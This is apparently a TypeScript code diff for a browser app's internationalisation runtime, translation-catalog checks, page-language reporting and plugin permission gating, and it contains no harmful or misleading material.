const NUMBER_STYLES: Record<string, Intl.NumberFormatOptions> = {
integer: { maximumFractionDigits: 0 },
percent: { style: 'percent' },
compact: { notation: 'compact' },
};
const DATE_STYLES: Record<string, Intl.DateTimeFormatOptions> = {
short: { dateStyle: 'short' },
medium: { dateStyle: 'medium' },
long: { dateStyle: 'long' },
full: { dateStyle: 'full' },
};
const TIME_STYLES: Record<string, Intl.DateTimeFormatOptions> = {
short: { timeStyle: 'short' },
medium: { timeStyle: 'medium' },
long: { timeStyle: 'long' },
full: { timeStyle: 'full' },
};
function toDate(value: unknown): Date | null {
const date = value instanceof Date ? value : typeof value === 'number' || typeof value === 'string' ? new Date(value) : null;
return date && Number.isFinite(date.getTime()) ? date : null;
}
function render(parts: Part[], params: Params, locale: string, pound: number | null, onMissingParam?: (name: string) => void): string {
let out = '';
for (const part of parts) {
if (typeof part === 'string') { out += part; continue; }
if (part.kind === 'pound') {
out += pound === null ? '#' : numberFormat(locale).format(pound);
continue;
}
const has = Object.prototype.hasOwnProperty.call(params, part.name);
const value = has ? params[part.name] : undefined;
if (!has || value === undefined || value === null) {
onMissingParam?.(part.name);
out += `{${part.name}}`;
continue;
}
if (part.kind === 'arg') {
if (part.format === 'number' && typeof value === 'number') {
out += numberFormat(locale, NUMBER_STYLES[part.style ?? ''] ?? undefined).format(value);
} else if ((part.format === 'date' || part.format === 'time') && toDate(value)) {
const styles = part.format === 'date' ? DATE_STYLES : TIME_STYLES;
out += dateFormat(locale, styles[part.style ?? 'medium'] ?? styles.medium).format(toDate(value)!);
} else if (typeof value === 'number') {
out += numberFormat(locale).format(value);
} else {
out += String(value);
}
continue;
}
if (part.kind === 'select') {
const key = String(value);
out += render(part.options[key] ?? part.options.other!, params, locale, pound, onMissingParam);
continue;
}
const n = typeof value === 'number' ? value : Number(value);
if (!Number.isFinite(n)) { out += String(value); continue; }
const exact = part.options[`=${n}`];
const shifted = n - part.offset;
const option = exact ?? part.options[pluralRules(locale, part.ordinal).select(shifted)] ?? part.options.other!;
out += render(option, params, locale, shifted, onMissingParam);
}
return out;
}
const compiled = new Map<string, Part[] | Error>();
/**
* Formats one message. Placeholder values are inserted as plain text; a malformed message renders
* as its raw text (and `onError` hears about it) rather than throwing in the UI.
*/
export function formatMessage(
source: string,
params: Params = {},
locale = 'en',
hooks: { onError?: (error: Error) => void; onMissingParam?: (name: string) => void } = {},
): string {
if (!source.includes('{') && !source.includes("'")) return source;
let parts = compiled.get(source);
if (!parts) {
try {
parts = parseMessage(source);
} catch (error) {
parts = error instanceof Error ? error : new Error(String(error));
}
if (compiled.size > 4096) compiled.clear();
compiled.set(source, parts);
}
if (parts instanceof Error) {
hooks.onError?.(parts);
return source;
}
return render(parts, params, locale, null, hooks.onMissingParam);
}
// -------------------------------------------------------------------------------------------
// Runtime
export type I18nOptions = {
/** The source locale; its messages are complete (default `en`). */
sourceLocale?: string;
/** Source messages (English). Always loaded. */
source: Messages;
/** Locales that have catalogs (the source included). */
available: readonly string[];
/** Per-locale inheritance before the source (a catalog's `fallback`). */
fallbacks?: Readonly<Record<string, string>>;
/** Loads one locale's messages (lazy import of `locales/<tag>.json`), or null when there are none. */
load?: (locale: string) => Promise<Messages | null | undefined> | Messages | null | undefined;
/** Initial locale (default: the source). */
locale?: string;
/** A key the chain does not have, or a message that failed to parse. Once per key and locale. */
onMissing?: (key: string, locale: string, reason: 'key' | 'syntax' | 'param') => void;
};
export type I18n<K extends string = string> = {
/** Active locale (a catalog tag, e.g. `pt`, `zh-Hant`). */
readonly locale: string;
readonly dir: Dir;
/** Lookup order for the active locale, ending with the source. */
readonly chain: readonly string[];
readonly available: readonly string[];
/** The message for `key` in the active locale, formatted with `params`. Unknown keys return the key. */
t(key: K, params?: Params): string;
/** Like `t` for keys built at runtime; returns `fallback` (default the key) when missing. */
tx(key: string, params?: Params, fallback?: string): string;
has(key: string): boolean;
/** Switches locale (loading its catalog and its chain's). Resolves with the effective locale. */
setLocale(locale: string): Promise<string>;
/** Adds messages for a locale (framework catalogs, plugin strings); later adds win. */
add(locale: string, messages: Messages): void;
onChange(listener: (locale: string) => void): () => void;
/** Resolved messages of the active locale for keys starting with one of `prefixes` (the chain merged). */
resolved(prefixes?: readonly string[]): Record<string, string>;
number(value: number, options?: Intl.NumberFormatOptions): string;
date(value: Date | number | string, options?: Intl.DateTimeFormatOptions): string;
/** "3 minutes ago", "in 2 days" (Intl.RelativeTimeFormat, numeric: auto). */
relative(value: number, unit: Intl.RelativeTimeFormatUnit, options?: Intl.RelativeTimeFormatOptions): string;
/** "a, b and c" (Intl.ListFormat). */
list(items: readonly string[], options?: { type?: 'conjunction' | 'disjunction' | 'unit'; style?: 'long' | 'short' | 'narrow' }): string;
plural(count: number, ordinal?: boolean): Intl.LDMLPluralRule;
};
export function createI18n<K extends string = string>(options: I18nOptions): I18n<K> {
const source = options.sourceLocale ?? 'en';
const available = Object.freeze([...new Set([source, ...options.available])]);
const tables = new Map<string, Record<string, string>>();
tables.set(source, { ...options.source });
const loaded = new Set<string>([source]);
const listeners = new Set<(locale: string) => void>();
const reported = new Set<string>();
let locale = source;
let chain: string[] = [source];
const report = (key: string, where: string, reason: 'key' | 'syntax' | 'param') => {
const id = `${reason}|${where}|${key}`;
if (reported.has(id) || !options.onMissing) return;
if (reported.size > 2048) reported.clear();
reported.add(id);
try { options.onMissing(key, where, reason); } catch { /* a reporter must not break the UI */ }
};
const chainFor = (tag: string) => fallbackChain(tag, source, options.fallbacks).filter(entry => available.includes(entry));
const lookup = (key: string): string | undefined => {
for (const entry of chain) {
const value = tables.get(entry)?.[key];
if (typeof value === 'string') {
if (entry !== locale && locale !== source && entry === source) report(key, locale, 'key');
return value;
}
}
return undefined;
};
const format = (key: string, message: string, params?: Params) =>
formatMessage(message, params ?? {}, locale, {
onError: () => report(key, locale, 'syntax'),
onMissingParam: () => report(key, locale, 'param'),
});
const i18n: I18n<K> = {
get locale() { return locale; },
get dir() { return direction(locale); },
get chain() { return chain; },
available,
t(key, params) {
const message = lookup(key);
if (message === undefined) {
report(key, locale, 'key');
return key;
}
return format(key, message, params);
},
tx(key, params, fallback) {
const message = lookup(key);
if (message === undefined) return fallback ?? key;
return format(key, message, params);
},
has: key => lookup(key) !== undefined,
async setLocale(requested) {
const target = matchLocale([requested], available, source);
const nextChain = chainFor(target);
if (options.load) {
await Promise.all(nextChain.filter(tag => !loaded.has(tag)).map(async tag => {
try {
const messages = await options.load!(tag);
if (messages) tables.set(tag, { ...messages, ...tables.get(tag) });
} catch (error) {
report(`<catalog ${tag}: ${error instanceof Error ? error.message : String(error)}>`, tag, 'key');
}
loaded.add(tag);
}));
}
const changed = target !== locale;
locale = target;
chain = nextChain;
if (changed) for (const listener of [...listeners]) {
try { listener(locale); } catch { /* listeners must not break each other */ }
}
return locale;
},
add(tag, messages) {
const key = normalizeLocale(tag) ?? tag;
tables.set(key, { ...tables.get(key), ...messages });
},
onChange(listener) {
listeners.add(listener);
return () => listeners.delete(listener);
},
resolved(prefixes) {
const out: Record<string, string> = {};
for (const entry of [...chain].reverse()) {
for (const [key, value] of Object.entries(tables.get(entry) ?? {})) {
if (!prefixes || prefixes.some(prefix => key.startsWith(prefix))) out[key] = value;
}
}
return out;
},
number: (value, opts) => numberFormat(locale, opts).format(value),
date: (value, opts) => {
const date = toDate(value);
return date ? dateFormat(locale, opts).format(date) : '';
},
relative: (value, unit, opts) => {
try {
return new Intl.RelativeTimeFormat(safeLocale(locale), { numeric: 'auto', ...opts }).format(value, unit);
} catch {
return `${value} ${unit}`;
}
},
list: (items, opts) => {
try {
return new Intl.ListFormat(safeLocale(locale), { type: opts?.type ?? 'conjunction', style: opts?.style ?? 'long' }).format(items);
} catch {
return items.join(', ');
}
},
plural: (count, ordinal = false) => pluralRules(locale, ordinal).select(count),
};
return i18n;
}
/** Picks a relative-time unit for a timestamp: "just now" granularity down to seconds. */
export function relativeParts(then: number, now = Date.now()): { value: number; unit: Intl.RelativeTimeFormatUnit } {
const seconds = Math.round((then - now) / 1000);
const abs = Math.abs(seconds);
if (abs < 60) return { value: seconds, unit: 'second' };
if (abs < 3600) return { value: Math.round(seconds / 60), unit: 'minute' };
if (abs < 86400) return { value: Math.round(seconds / 3600), unit: 'hour' };
if (abs < 86400 * 30) return { value: Math.round(seconds / 86400), unit: 'day' };
if (abs < 86400 * 365) return { value: Math.round(seconds / (86400 * 30)), unit: 'month' };
return { value: Math.round(seconds / (86400 * 365)), unit: 'year' };
}

View file

@ -0,0 +1,201 @@
// Catalog checks for translators and CI (published as `waybetter/i18n/check`): every rule a
// contributed `locales/<bcp47>.json` must pass before review. Pure functions over parsed JSON, so
// an app's `scripts/i18n-check.mjs`, its tests and editors can share them.
//
// Errors fail the check: bad file shape, keys the source does not have, malformed ICU, placeholder
// names English does not have, a missing placeholder (except an argument English only uses to choose
// a plural form, which languages without that inflection may drop), select arguments missing an
// English option, markup or control characters (catalogs are data, never HTML), empty translations
// (unless the meta file allows it for a sentence fragment). Warnings do not fail: plural forms the
// language uses but the translation leaves to `other`, untranslated keys (they fall back to
// English) and translations much longer than the source.
import { argumentShapes, direction, normalizeLocale, parseMessage, placeholders, pluralCategories, type Catalog } from './i18n.ts';
export type CatalogIssue = { level: 'error' | 'warning'; locale: string; key?: string; message: string };
/** `allowEmpty`: a sentence fragment some languages leave empty (word order moves it elsewhere). */
export type MetaEntry = { description?: string; maxLength?: number; context?: string; allowEmpty?: boolean };
export type Meta = Record<string, MetaEntry | string>;
const KEY = /^[a-z][A-Za-z0-9]*(?:[._-][A-Za-z0-9]+)*$/;
/** Markup or script-ish content: tags, entities that decode to markup, `javascript:` and friends. */
const MARKUP = /<\s*\/?\s*[a-z!?]|&(?:lt|gt|#0*60|#x0*3c);|javascript:|data:text\/html/i;
const CONTROL = /[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f‪-‮⁦-⁩]/;
const STATUSES = new Set(['source', 'machine', 'reviewed']);
/** A long translation is fine up to this factor of the source length (plus some slack). */
const LENGTH_FACTOR = 1.8;
const LENGTH_SLACK = 16;
type Parts = ReturnType<typeof parseMessage>;
/**
* Whether `name` puts text in the message: a plain `{name}` / `{name, number}` somewhere, or a `#`
* (the number itself) in one of its own plural branches. A plural argument without either only
* chooses a form.
*/
function usedAsText(source: string, name: string): boolean {
const pound = (parts: Parts): boolean => parts.some(part => typeof part !== 'string' && (part.kind === 'pound'
|| (part.kind === 'select' && Object.values(part.options).some(pound))));
const walk = (parts: Parts): boolean => parts.some(part => {
if (typeof part === 'string' || part.kind === 'pound') return false;
if (part.kind === 'arg') return part.name === name;
if (part.kind === 'plural' && part.name === name && Object.values(part.options).some(pound)) return true;
return Object.values(part.options).some(walk);
});
return walk(parseMessage(source));
}
/** Checks the file envelope (locale, names, status, reviewers, messages map). */
export function checkShape(input: unknown, file = '?'): CatalogIssue[] {
const issues: CatalogIssue[] = [];
const err = (message: string) => issues.push({ level: 'error', locale: file, message });
if (!input || typeof input !== 'object' || Array.isArray(input)) {
err('a catalog is a JSON object');
return issues;
}
const catalog = input as Partial<Catalog> & Record<string, unknown>;
const allowed = new Set(['$schema', 'locale', 'name', 'englishName', 'dir', 'status', 'reviewers', 'fallback', 'messages']);
for (const key of Object.keys(catalog)) if (!allowed.has(key)) err(`unknown field "${key}"`);
if (typeof catalog.locale !== 'string' || normalizeLocale(catalog.locale) !== catalog.locale) err(`"locale" must be a canonical BCP 47 tag (got ${JSON.stringify(catalog.locale)})`);
if (typeof catalog.name !== 'string' || !catalog.name.trim()) err('"name" (the language\'s own name) is required');
if (typeof catalog.englishName !== 'string' || !catalog.englishName.trim()) err('"englishName" is required');
if (typeof catalog.status !== 'string' || !STATUSES.has(catalog.status)) err('"status" must be "source", "machine" or "reviewed"');
if (catalog.status === 'reviewed' && (!Array.isArray(catalog.reviewers) || catalog.reviewers.length === 0)) err('a "reviewed" catalog names its reviewers');
if (catalog.reviewers !== undefined && (!Array.isArray(catalog.reviewers) || catalog.reviewers.some(r => typeof r !== 'string' || !r.trim() || r.length > 80))) err('"reviewers" is a list of names or handles');
if (catalog.dir !== undefined && catalog.dir !== 'ltr' && catalog.dir !== 'rtl') err('"dir" must be "ltr" or "rtl"');
if (typeof catalog.locale === 'string' && catalog.dir && catalog.dir !== direction(catalog.locale)) err(`"dir" says ${catalog.dir} but ${catalog.locale} is written ${direction(catalog.locale)}`);
if (catalog.fallback !== undefined && (typeof catalog.fallback !== 'string' || normalizeLocale(catalog.fallback) !== catalog.fallback)) err('"fallback" must be a canonical BCP 47 tag');
if (!catalog.messages || typeof catalog.messages !== 'object' || Array.isArray(catalog.messages)) {
err('"messages" must be an object of key -> string');
} else {
for (const [key, value] of Object.entries(catalog.messages)) {
if (!KEY.test(key) || key.length > 96) err(`invalid key ${JSON.stringify(key)} (dotted camelCase, at most 96 characters)`);
if (typeof value !== 'string') err(`${key}: value must be a string`);
}
}
return issues;
}
/** Safety rules every message obeys, source included. */
export function checkMessageSafety(locale: string, key: string, value: string): CatalogIssue[] {
const issues: CatalogIssue[] = [];
if (MARKUP.test(value)) issues.push({ level: 'error', locale, key, message: 'markup is not allowed (catalogs are text, never HTML)' });
if (CONTROL.test(value)) issues.push({ level: 'error', locale, key, message: 'control or bidi-override characters are not allowed' });
if (value.length > 2000) issues.push({ level: 'error', locale, key, message: 'message is longer than 2000 characters' });
try {
parseMessage(value);
} catch (error) {
issues.push({ level: 'error', locale, key, message: `invalid message syntax: ${error instanceof Error ? error.message : String(error)}` });
}
return issues;
}
/**
* Checks one translated catalog against the source messages: extra keys, placeholder parity,
* plural categories, safety, untranslated and overlong messages.
*/
export function checkCatalog(catalog: Catalog, source: Record<string, string>, meta: Meta = {}): CatalogIssue[] {
const issues: CatalogIssue[] = [];
const locale = catalog.locale;
const push = (level: CatalogIssue['level'], key: string | undefined, message: string) => issues.push({ level, locale, key, message });
const categories = new Set(pluralCategories(locale));
const ordinals = new Set(pluralCategories(locale, true));
let missing = 0;
for (const [key, value] of Object.entries(catalog.messages)) {
const english = source[key];
if (english === undefined) {
push('error', key, 'key is not in the source catalog (removed or misspelled)');
continue;
}
const safety = checkMessageSafety(locale, key, value);
issues.push(...safety);
if (safety.some(issue => issue.level === 'error')) continue;
const entry = meta[key];
const allowEmpty = typeof entry === 'object' && entry.allowEmpty === true;
if (!value.trim() && english.trim() && !allowEmpty) push('error', key, 'empty translation (remove the key to fall back to English)');
const want = placeholders(english);
const have = placeholders(value);
const sourceShapes = argumentShapes(english);
// An argument English only uses to pick a plural form ("Download {count, plural, one {it} other
// {them}}") may be dropped by a language that does not inflect there; every other placeholder
// carries text the reader needs and is required.
const pluralOnly = (name: string) => {
const shape = sourceShapes[name];
return !!shape && shape.kind !== 'select' && !usedAsText(english, name);
};
const missingNames = want.filter(name => !have.includes(name) && !pluralOnly(name));
const extraNames = have.filter(name => !want.includes(name));
if (missingNames.length) push('error', key, `missing placeholder(s) ${missingNames.map(n => `{${n}}`).join(', ')}`);
if (extraNames.length) push('error', key, `unknown placeholder(s) ${extraNames.map(n => `{${n}}`).join(', ')}`);
const shapes = argumentShapes(value);
for (const [name, shape] of Object.entries(shapes)) {
const expected = sourceShapes[name];
if (expected && expected.kind !== shape.kind) {
push('error', key, `{${name}} is a ${expected.kind} in English but a ${shape.kind} here`);
continue;
}
if (shape.kind === 'select') {
for (const option of expected?.options ?? []) {
if (!shape.options.includes(option)) push('error', key, `{${name}, select} lacks the "${option}" option`);
}
continue;
}
// A form the translation leaves out falls back to its `other` branch, which is often right
// (an invariable word, an abbreviation, `=1` already covering "one"): a warning for review.
const needed = shape.kind === 'selectordinal' ? ordinals : categories;
for (const category of needed) {
if (!shape.options.includes(category)) push('warning', key, `{${name}, ${shape.kind}} has no "${category}" form (${locale} uses it; "other" is shown)`);
}
for (const option of shape.options) {
if (!option.startsWith('=') && !needed.has(option as Intl.LDMLPluralRule)) push('warning', key, `{${name}, ${shape.kind}} has a "${option}" form ${locale} never uses`);
}
}
const maxLength = typeof entry === 'object' ? entry.maxLength : undefined;
const limit = maxLength ?? Math.round(english.length * LENGTH_FACTOR + LENGTH_SLACK);
if (value.length > limit) push(maxLength ? 'error' : 'warning', key, `translation is ${value.length} characters (${maxLength ? 'limit' : 'English is'} ${maxLength ?? english.length})`);
}
if (catalog.status !== 'source' && !catalog.fallback) {
for (const key of Object.keys(source)) if (!(key in catalog.messages)) missing += 1;
if (missing) push('warning', undefined, `${missing} of ${Object.keys(source).length} messages untranslated (English is shown)`);
}
return issues;
}
/** Checks the source catalog itself: safety, syntax, and that every key is described in the meta file. */
export function checkSource(catalog: Catalog, meta: Meta = {}): CatalogIssue[] {
const issues: CatalogIssue[] = [];
for (const [key, value] of Object.entries(catalog.messages)) issues.push(...checkMessageSafety(catalog.locale, key, value));
for (const key of Object.keys(meta)) {
if (!(key in catalog.messages)) issues.push({ level: 'error', locale: catalog.locale, key, message: 'described in the meta file but not in the source catalog' });
}
return issues;
}
/** Share of source keys a catalog translates (0..1), following its `fallback` catalog when given. */
export function coverage(catalog: Catalog, source: Record<string, string>, fallback?: Catalog): number {
const keys = Object.keys(source);
if (!keys.length) return 1;
const done = keys.filter(key => key in catalog.messages || (fallback ? key in fallback.messages : false)).length;
return done / keys.length;
}
/** TypeScript source for a key union and per-key parameter types, generated from source messages. */
export function generateKeyTypes(source: Record<string, string>, typeName = 'MessageKey'): string {
const keys = Object.keys(source).sort();
const lines = [
'// Generated from the English source catalog. Do not edit by hand.',
`export type ${typeName} =`,
...keys.map((key, index) => ` | ${JSON.stringify(key)}${index === keys.length - 1 ? ';' : ''}`),
'',
`export type ${typeName}Params = {`,
];
for (const key of keys) {
let names: string[] = [];
try { names = placeholders(source[key]!); } catch { names = []; }
lines.push(` ${JSON.stringify(key)}: ${names.length ? `{ ${names.map(name => `${name}: string | number | Date`).join('; ')} }` : 'undefined'};`);
}
lines.push('};', '');
return lines.join('\n');
}

View file

@ -0,0 +1,63 @@
// Tells the app which language the site's own UI is in (its `<html lang>`), so the app can follow
// it ("Follow X" in Settings → Language). Read from the document the site renders anyway; nothing is
// requested. Only a change is reported (`tab_report { lang }`); native code accepts it only from a
// site tab and only as a validated language tag.
import { normalizeLocale } from './i18n.ts';
export type Invoke = (command: string, args: Record<string, unknown>) => Promise<unknown>;
/** The page's language as a canonical tag, or null when it declares none (or nonsense). */
export function readPageLang(doc: Document): string | null {
return normalizeLocale(doc.documentElement?.getAttribute('lang') ?? '');
}
/** Retries of a report that failed (the IPC bridge is not there yet at document start). */
export const LANG_REPORT_RETRIES = 12;
export function installPageLangReport(win: Window & typeof globalThis, invoke?: Invoke): { dispose(): void } {
if (!invoke) return { dispose() {} };
let last = '';
let failures = 0;
let timer: number | undefined;
let disposed = false;
const check = () => {
timer = undefined;
if (disposed) return;
const lang = readPageLang(win.document);
if (!lang || lang === last) return;
last = lang;
invoke('tab_report', { report: { lang } }).then(() => { failures = 0; }, () => {
// The page's `lang` rarely changes after load, so a report lost at document start (no bridge
// yet) would never be sent again: "Follow X" would not learn X's language. Try again.
if (last === lang) last = '';
if (disposed || timer !== undefined || failures >= LANG_REPORT_RETRIES) return;
failures += 1;
timer = win.setTimeout(check, Math.min(4000, 125 * 2 ** failures));
});
};
const observer = new win.MutationObserver(check);
let observed: Element | null = null;
// At document start (where the app installs this) there may be no <html> element yet: watch it,
// and read `lang`, as soon as the parser has made it.
const attach = () => {
const root = win.document.documentElement;
if (root && root !== observed) {
observed = root;
observer.observe(root, { attributes: true, attributeFilter: ['lang'] });
}
check();
};
win.document.addEventListener('readystatechange', attach);
win.document.addEventListener('DOMContentLoaded', attach);
attach();
return {
dispose: () => {
disposed = true;
observer.disconnect();
win.document.removeEventListener('readystatechange', attach);
win.document.removeEventListener('DOMContentLoaded', attach);
if (timer !== undefined) win.clearTimeout(timer);
},
};
}

View file

@ -0,0 +1,162 @@
// Plugin permissions: what a `*.plugin.js` declares in its header (`@permissions storage, ui`) and
// the per-plugin view of the plugin API that holds it to that declaration.
//
// Be clear about what this is. Plugins are JavaScript running in the site's page: they can read
// and change the page, call `fetch`, and reach `window.<Runtime>` directly. No page-level check can
// stop code that wants to get around it. Permissions are
// - a declaration the owner reviews before installing (the install screen and the Plugins list
// show them), checked again by the store and by reviewers against the source, and
// - a guard rail for honest code: the `api` a plugin receives throws on members it did not
// declare, so an undeclared use fails loudly in development instead of shipping silently.
// A plugin without a `@permissions` line is "legacy": it gets the whole API, as before, and the app
// labels it "legacy, full page access". `network:none` is a promise (checked by review and a source
// scan at install time), not something the page can enforce.
/** Grants a plugin can declare. `network` / `network:none` are declarations only (see above). */
export const PLUGIN_PERMISSIONS = ['storage', 'ui', 'clipboard', 'account', 'users', 'commands', 'network', 'network:none'] as const;
export type PluginPermission = (typeof PLUGIN_PERMISSIONS)[number];
/** Which permission each gated API member needs. Members not listed need none (DOM helpers, theme). */
export type PermissionGates = Readonly<Record<string, PluginPermission>>;
/** The core API's gated members. A site adds its own (e.g. `account`, `users`). */
export const CORE_GATES: PermissionGates = Object.freeze({
storage: 'storage',
ui: 'ui',
toast: 'ui',
copyText: 'clipboard',
// Command palette entries (commands.ts); also gates `scope().commands`.
commands: 'commands',
});
const KNOWN = new Set<string>(PLUGIN_PERMISSIONS);
/**
* Parses the value of a `@permissions` header line (comma and/or space separated, case-insensitive).
* Same rules as the native host's `parse_permissions`: unknown names and `network` together with
* `network:none` are errors; duplicates collapse; `none` alone means "no gated API".
*/
export function parsePermissions(value: string): { permissions: PluginPermission[] } | { error: string } {
const tokens = value.split(/[\s,]+/).map(token => token.trim().toLowerCase()).filter(Boolean);
const out: PluginPermission[] = [];
for (const token of tokens) {
if (token === 'none') continue;
if (!KNOWN.has(token)) return { error: `unknown permission "${token.slice(0, 40)}"` };
if (!out.includes(token as PluginPermission)) out.push(token as PluginPermission);
}
if (out.includes('network') && out.includes('network:none')) return { error: '"network" and "network:none" contradict each other' };
return { permissions: out };
}
export class PluginPermissionError extends Error {
readonly plugin: string;
readonly member: string;
readonly permission: PluginPermission;
constructor(plugin: string, member: string, permission: PluginPermission) {
super(`${plugin}: api.${member} needs the "${permission}" permission. Add it to the plugin's header: @permissions ${permission}`);
this.name = 'PluginPermissionError';
this.plugin = plugin;
this.member = member;
this.permission = permission;
}
}
type Fn = (...args: unknown[]) => unknown;
function denied(plugin: string, member: string, permission: PluginPermission): Fn {
return () => { throw new PluginPermissionError(plugin, member, permission); };
}
/** An object whose every function member throws (`api.ui.toast`, `api.users.get`, ...). */
function deniedObject(value: object, plugin: string, member: string, permission: PluginPermission): object {
const out: Record<string, unknown> = {};
for (const key of Object.keys(value)) {
out[key] = typeof (value as Record<string, unknown>)[key] === 'function' ? denied(plugin, `${member}.${key}`, permission) : undefined;
}
return Object.freeze(out);
}
/** A plugin's scope (`api.scope()`) whose `ui` is gated like `api.ui`. */
function scopeView(scope: object, granted: ReadonlySet<string>, plugin: string, gates: PermissionGates): object {
const view: Record<string, unknown> = {};
for (const key of Object.getOwnPropertyNames(scope)) {
const gate = gates[key];
const descriptor = Object.getOwnPropertyDescriptor(scope, key)!;
if (gate && !granted.has(gate)) {
Object.defineProperty(view, key, {
enumerable: true,
get: () => {
const value = (scope as Record<string, unknown>)[key];
return typeof value === 'function' ? denied(plugin, `scope().${key}`, gate) : deniedObject(value as object, plugin, `scope().${key}`, gate);
},
});
} else if (descriptor.get) {
Object.defineProperty(view, key, { enumerable: true, get: () => (scope as Record<string, unknown>)[key] });
} else {
const value = descriptor.value;
view[key] = typeof value === 'function' ? (value as Fn).bind(scope) : value;
}
}
return view;
}
/**
* The API as plugin `plugin` sees it with `grants`: gated members it was not granted throw a
* `PluginPermissionError` when called; everything else is the shared API. Frozen, like the API.
*/
export function scopePluginApi<T extends object>(api: T, grants: readonly string[], plugin: string, gates: PermissionGates = CORE_GATES): T {
const granted = new Set(grants);
const out: Record<string, unknown> = {};
for (const key of Object.keys(api)) {
const value = (api as Record<string, unknown>)[key];
const gate = gates[key];
if (gate && !granted.has(gate)) {
out[key] = typeof value === 'function' ? denied(plugin, key, gate) : value && typeof value === 'object' ? deniedObject(value, plugin, key, gate) : undefined;
} else if (key === 'scope' && typeof value === 'function') {
out[key] = () => scopeView((value as Fn).call(api) as object, granted, plugin, gates);
} else {
out[key] = value;
}
}
return Object.freeze(out) as T;
}
export type PluginContext<T extends object> = {
/**
* Runs `fn` as plugin `id` (its module body, constructor, `start()` and `stop()`): while it runs,
* `current()` is that plugin's API. `grants`: a list = the plugin declared these; `null` = legacy
* plugin without a `@permissions` line (the full API); `undefined` = keep what `id` registered.
*/
run<R>(id: string, grants: readonly string[] | null | undefined, fn: () => R): R;
/** The API for the code running now: a plugin's view inside `run`, else the full API. */
current(): T;
/** What `id` registered: its grants, `null` for legacy, `undefined` when never run. */
grants(id: string): readonly string[] | null | undefined;
};
/**
* Members bound to the plugin a view belongs to (its `i18n`, keyed by the plugin file), applied to
* every plugin's view, legacy plugins included. Not a permission: bound members are never gated.
*/
export type PluginBindings<T extends object> = (full: T, plugin: string) => Partial<T>;
/** Per-plugin API views for a runtime whose `api` getter returns `context.current()`. */
export function createPluginContext<T extends object>(full: T, gates: PermissionGates = CORE_GATES, bind?: PluginBindings<T>): PluginContext<T> {
const registered = new Map<string, { grants: readonly string[] | null; api: T }>();
const stack: T[] = [];
return {
run(id, grants, fn) {
let entry = registered.get(id);
if (grants !== undefined || !entry) {
const list = Array.isArray(grants) ? Object.freeze(grants.filter(grant => typeof grant === 'string' && KNOWN.has(grant))) : null;
const view = list ? scopePluginApi(full, list, id, gates) : full;
entry = { grants: list, api: bind ? Object.freeze({ ...view, ...bind(full, id) }) as T : view };
registered.set(id, entry);
}
stack.push(entry.api);
try { return fn(); } finally { stack.pop(); }
},
current: () => stack[stack.length - 1] ?? full,
grants: id => registered.get(id)?.grants,
};
}

View file

@ -2,6 +2,17 @@
// re-implement DOM watching, route tracking, local storage and cleanup. Everything here is local to
// the page: no network requests, no account actions. A site adapter adds its own readers (e.g. a
// post/message parser) on top of this core.
//
// `ui` (toasts, alerts, confirmations, prompts, dialogs; ui.ts) and `theme` (the active theme as
// values; themeApi.ts) are part of the core: the site adapter only supplies its theme source.
import { createThemeApi, type ThemeApi, type ThemeSource } from './themeApi.ts';
import { createUiKit, type UiKit } from './ui.ts';
import { adoptStyles, type RootStyles } from './styles.ts';
import { createCommandRegistry, type CommandDefinition, type CommandInfo, type CommandRegistry } from './commands.ts';
import { createPluginI18n, type I18nSource, type PluginI18n, type PluginMessages } from './pluginI18n.ts';
export type { ThemeApi, ThemeSource, UiKit, CommandDefinition, CommandInfo, CommandRegistry, RootStyles, I18nSource, PluginI18n, PluginMessages };
export type Dispose = () => void;
@ -16,6 +27,8 @@ export type PluginStorage = {
/** Collects disposers so a plugin's `stop()` is a single `scope.dispose()`. */
export type PluginScope = {
css(id: string, css: string): void;
/** `api.adoptCSS`, taken off the root on dispose. */
adoptCSS(root: ShadowRoot | Document, css: string): RootStyles;
on(target: EventTarget, type: string, listener: EventListenerOrEventListenerObject, options?: boolean | AddEventListenerOptions): void;
observe(selector: string, callback: (element: Element) => void): void;
onRouteChange(callback: (href: string, previous: string) => void): void;
@ -24,12 +37,24 @@ export type PluginScope = {
add<T extends Node>(node: T): T;
/** Runs `fn` on dispose (restore attributes, clear timers, ...). */
defer(fn: Dispose): void;
/** Calls `callback(theme)` after the theme changes, until dispose. */
onThemeChange(callback: Parameters<ThemeApi['onChange']>[0]): void;
/** The UI kit, scoped: dialogs and toasts it opened are closed on dispose. */
readonly ui: UiKit;
/** Command palette entries of the plugin that created this scope, removed on dispose. */
readonly commands: { register(definition: CommandDefinition): Dispose };
dispose(): void;
};
export type CorePluginApi = {
injectCSS(id: string, css: string): void;
clearCSS(id: string): void;
/**
* Styles a shadow root the plugin created (or the document) with a constructable stylesheet:
* the page's Content-Security-Policy cannot refuse it, it is parsed once, and it stays with the
* root wherever its host is moved. Falls back to a `<style>` element where unsupported.
*/
adoptCSS(root: ShadowRoot | Document, css: string): RootStyles;
waitFor(selector: string, timeoutMs?: number): Promise<Element>;
/** Namespaced JSON storage in this tab's localStorage (`<storagePrefix><namespace>:<key>`). */
storage(namespace: string): PluginStorage;
@ -43,10 +68,33 @@ export type CorePluginApi = {
*/
onKey(callback: (event: KeyboardEvent, item: Element | null) => void): Dispose;
copyText(text: string): Promise<boolean>;
/** A short status message (the UI kit's toast; `ms` is how long it stays). */
toast(message: string, ms?: number): void;
/** Toasts, alerts, confirmations, prompts and dialogs in the active theme (see ui.ts). */
ui: UiKit;
/** The active theme as values: `current()` and `onChange(fn)` (see themeApi.ts). */
theme: ThemeApi;
/**
* Commands in the shell's command palette (Ctrl+K), listed under the plugin's name and run in
* this page (see commands.ts). Removed when the plugin stops.
*/
commands: CommandRegistry;
/**
* The app's language and the plugin's own strings in it (see pluginI18n.ts). In a plugin's view
* it is bound to that plugin (`plugin.<file name>.*` in the app catalog); `namespace(name)` binds
* it explicitly.
*/
i18n: PluginI18n;
scope(): PluginScope;
};
/** What the site adapter adds to the core: its theme engine, when it has one. */
export type CorePluginExtras = {
theme?: ThemeSource;
/** The app's active locale and catalog (plugin strings, the UI kit's own words). English without it. */
i18n?: I18nSource;
};
export type PluginApiSite = {
/** The runtime global, for error messages (`<name>.waitFor timed out`). */
name: string;
@ -56,7 +104,9 @@ export type PluginApiSite = {
storagePrefix: string;
/** `data-*` key (camelCase) marking plugin `<style>` elements with their id. */
styleDataKey: string;
/** Id of the kit's shadow host element (`<wb-ui id=…>`), kept from the old single toast. */
toastId: string;
/** Accent used when the site has no theme source (and the page shows none). */
toastBackground: string;
/** The item a single-key shortcut acts on: the focused element's closest match (a post, a message). */
